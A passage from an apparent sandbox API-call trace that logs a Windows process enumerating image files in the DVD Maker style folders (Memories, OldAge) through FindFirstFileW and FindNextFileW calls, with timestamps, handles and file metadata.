ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.436] ResetEvent (hEvent=0x118) returned 1 [0239.436] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.440] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.440] ResetEvent (hEvent=0x118) returned 1 [0239.440] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.442] ResetEvent (hEvent=0x118) returned 1 [0239.443] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.709] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.710] ResetEvent (hEvent=0x118) returned 1 [0239.710] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.720] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.721] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.721] ResetEvent (hEvent=0x118) returned 1 [0239.721] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.732] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0 [0239.732] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0239.735] GetProcessHeap () returned 0x560000 [0239.735] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0239.735] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0239.735] GetProcessHeap () returned 0x560000 [0239.735] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0239.735] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0239.738] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.738] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0239.739] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0239.739] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0239.739] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0239.740] ResetEvent (hEvent=0x118) returned 1 [0239.740] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.744] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0239.745] ResetEvent (hEvent=0x118) returned 1 [0239.745] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.766] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0239.766] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0239.766] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0239.767] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0239.767] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0239.767] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1 [0239.768] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1 [0239.768] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1 [0239.768] ResetEvent (hEvent=0x118) returned 1 [0239.768] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.771] ResetEvent (hEvent=0x118) returned 1 [0239.771] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.966] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1 [0239.966] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1 [0239.967] ResetEvent (hEvent=0x118) returned 1 [0239.967] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.982] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1 [0239.982] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1 [0239.982] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0 [0239.982] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0239.985] GetProcessHeap () returned 0x560000 [0239.985] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0239.985] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0239.986] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.986] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.987] ResetEvent (hEvent=0x118) returned 1 [0239.987] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0239.992] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.993] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.993] ResetEvent (hEvent=0x118) returned 1 [0239.993] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.000] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.000] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.000] ResetEvent (hEvent=0x118) returned 1 [0240.000] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.007] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0240.008] GetProcessHeap () returned 0x560000 [0240.008] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0240.008] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0240.011] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.011] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0240.011] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0240.012] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0240.012] ResetEvent (hEvent=0x118) returned 1 [0240.012] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.018] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.018] ResetEvent (hEvent=0x118) returned 1 [0240.019] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.240] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: 